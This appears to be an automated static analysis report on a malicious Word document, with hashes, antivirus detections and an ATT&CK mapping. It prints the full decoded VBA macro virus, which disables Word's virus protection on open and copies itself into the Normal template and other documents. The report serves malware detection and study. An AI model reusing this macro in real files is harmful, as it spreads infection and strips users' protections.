Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 16f3a751a57c5164…

MALICIOUS

Office (OLE)

121.0 KB Created: 2019-06-20 07:42:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 73f37c73f541d1acda4da4a682d6ff9d SHA-1: c7519d7aeaa55c99ddfa8a7e4bcdff19852750ca SHA-256: 16f3a751a57c5164bf96e2b37c2de7cb19abee0c1f9446d8618e403b4d809713
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open macro that attempts to disable virus protection by setting Options.VirusProtection = False. The macro also overwrites its own code and potentially the document's code, likely to evade detection or modify its behavior. The reconstructed string 'ns$ + "Close()"' and 'ns$ + "Open()"' are part of this obfuscation and self-modification process.

Heuristics 4

  • ClamAV: Heuristics.Macro.DisableVirusProtection-6136181-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.Macro.DisableVirusProtection-6136181-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1441 bytes
SHA-256: 9299e72afe1cfe327ca211179d4256d1d66c64ceec6e639fbb1886a44a31df44
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Close()Open()Close()Open()
Private Sub Document_Open()
    On Error Resume Next
    Options.VirusProtection = False
    EnableCancelKey = wdCancelDisabled
    Set maci = MacroContainer.VBProject.VBComponents.Item(1)
    Set macic = maci.codemodule
    ns$ = Left(macic.Lines(1, 1), 21)
    Set inf = NormalTemplate: nsi$ = ns$ + "Close()"
        If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$ + "Open()"
    Set infc = inf.VBProject.VBComponents
    Set infi = infc.Item(1)
    Set infic = infi.codemodule
    infi.Name = "ThisDocument"
    For mx = 2 To infc.Count
        infc.Remove infc.Item(2)
    Next mx
        If infic.countlines <> macic.countoflines Then
            infic.deletelines 1, infic.countoflines
            For coco = 1 To macic.countoflines
                infic.insertlines coco, macic.Lines(coco, 1)
            Next coco
            infic.replaceline 1, nsi$
        End If
    If Left(ActiveDocument.Name, 8) <> Mid$(macic.Lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999